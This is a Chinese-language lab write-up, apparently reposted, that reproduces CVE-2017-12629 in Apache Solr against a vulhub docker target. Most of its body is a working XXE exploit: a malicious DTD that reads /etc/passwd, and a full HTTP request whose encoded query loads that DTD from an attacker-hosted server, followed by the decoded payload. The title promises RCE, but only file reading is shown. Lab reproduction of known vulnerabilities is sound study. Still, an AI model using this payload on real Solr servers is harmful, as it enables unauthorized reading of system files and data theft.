漏洞復現-CVE-2017-12629-RCE-solr:XXE


 
 
 
 
 
 
 

0x00 實驗環境

攻擊機:Win 10、Win Server 2012 R2

靶機:Ubuntu18 (docker搭建的vulhub靶場)

0x01 影響版本

Apache Solr < 7.1
Apache Lucene < 7.1

注:在Solr管理后台Dashboard儀表盤中,可查看當前Solr的版本信息。

 

0x02 實驗步驟

我們打開漏洞環境,可以發現是這樣的頁面:

 

 這樣的頁面可以聯想到遠程代碼執行:

 

 復現只需要兩步:

(1)在自己的遠程服務器上win server 2012R2 上搭建一個網站,使用phpstudy即可,然后在www目錄下新建一個文檔1.dtd,名字可以自取

在1.dtd內寫入如下內容:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

 

 (2)回到web頁面,在主頁刷新后進行抓包,修改部分參數即可達到XXE外部實體代碼執行的操作

GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的遠程服務器IP)%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1 Host:your-ip:8983 Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 2

以上為我復現成功的請求報文

 

成功讀取到/etc/passwd的內容

將以上q的內容進行URL解碼為以下內容,可由此構造payload

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://your-ip/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

 

0x04 實驗原理

首先,需要了解XXE的概念:

XXE就是XML外部實體注入。當允許引用外部實體時,通過構造任意payload,導致可讀取任意文件、命令執行、探測內網信息、攻擊內網網站等危害。

Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基於 HTTP 和 Apache Lucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。

主要有兩個漏洞:XML實體擴展漏洞(XXE)和遠程命令執行漏洞(RCE)

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

詳情請參考這篇文章:

https://blog.csdn.net/csacs/article/details/88220227

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM